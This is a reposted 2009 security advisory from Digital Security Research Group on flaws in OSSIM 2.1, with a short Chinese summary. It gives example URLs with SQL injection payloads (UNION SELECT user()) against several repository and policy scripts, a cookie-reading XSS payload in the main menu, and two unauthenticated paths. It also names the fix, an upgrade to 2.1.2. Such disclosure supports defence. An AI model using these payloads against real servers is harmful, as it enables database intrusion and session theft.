OSSIM 2.1 - Multiple security vulnerabilities

OSSIM (开源安全信息管理) 存在多个安全漏洞,包括SQL注入、跨站脚本攻击及未授权访问等问题。这些问题主要出现在2.1版及其可能受影响的2.1.1版中,涉及系统的多个组件。例如,在存储库和策略脚本中存在SQL注入漏洞,主菜单中存在跨站脚本漏洞等。

OSSIM - Open Source Security Information Management is vulnerable to multiple security vulnerabilities.

1. SQL Injections
2. Linked XSS
3. Unauthorized access



Digital Security Research Group [DSecRG] Advisory #DSECRG-09-055


Application: OSSIM
Versions Affected: 2.1 and may be 2.1.1
Vendor URL: http://ossim.net/
Bug: SQL Injection,XSS, Unauthorized access
Exploits: YES
Reported: 07.09.2009
Vendor response: 09.09.2009
Solution: YES (version 2.1.2)
Date of Public Advisory:21.09.2009
Author: Sintsov Alexey of Digital Security Research Group [DSecRG]

Details
*******

1.1 SQL injections in repository

Attacker need to be authorized in system for success.

Vulnerable script - repository_document.php
Vulnerable parameter - id_document

Example
*******

http://OSSIM-SERVER/ossim/repository/repository_document.php?id_document=-3
union select 1,2,user(),4,5,6--&maximized=1&search_bylink=&pag=1

1.2 SQL injections in repository

Attacker need to be authorized in system for success.

Vulnerable script - repository_links.php
Vulnerable parameter - id_document

Example
*******

http://OSSIM-SERVER/ossim/repository/repository_links.php?id_document=-3
union select 1,user(),3,4,5,6


1.3 SQL injections in repository

Attacker need to be authorized in system for success.

Vulnerable script - repository_editdocument.php
Vulnerable parameter - id_document

Example
*******

http://OSSIM-SERVER/ossim/repository/repository_editdocument.php?id_document=-3
union select 1,user(),3,4,5,6



1.4 SQL injection in policy scripts

Attacker need to be authorized in system for success.

Vulnerable script - getpolicy.php
Vulnerable parameter - group


Example
*******

http://OSSIM-SERVER/ossim/policy/getpolicy.php?group=0 and 1=1


1.5 SQL injection in policy scripts

Attacker need to be authorized in system for success.

Vulnerable script - newhostgroupform.php
Vulnerable parameter - name


Example
*******

http://OSSIM-SERVER/ossim/host/newhostgroupform.php?name=' union select
user(),'b','c','d','f


1.6 SQL injection in policy scripts

Attacker need to be authorized in system for success.

Vulnerable script - modifynetform.php
Vulnerable parameter - name

Example
*******

http://OSSIM-SERVER/ossim/net/modifynetform.php?name=' union select
user(),'b','c','d','e','f','g','h','a


And others scripts in policy menu.


2. Linked XSS in main menu

Vulnerable script /ossim/
Vulnerable parameter - option

Example
*******

http://OSSIM-SERVER/ossim/?option=0" onload=alert(document.cookie) a="

3. Access to data without authentication.

Unauthorized user can see graphs and infrastructure


Example
*******

Access to the graph:
http://OSSIM-SERVER/ossim/graphs/alarms_events.php

Internal infrastructure view:
http://OSSIM-SERVER/ossim/host/draw_tree.php




Fix Information
***************

Upgrade to version 2.1.2

References
**********
http://www.alienvault.com/community.php?section=News
http://dsecrg.com/pages/vul/show.php?id=155


About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值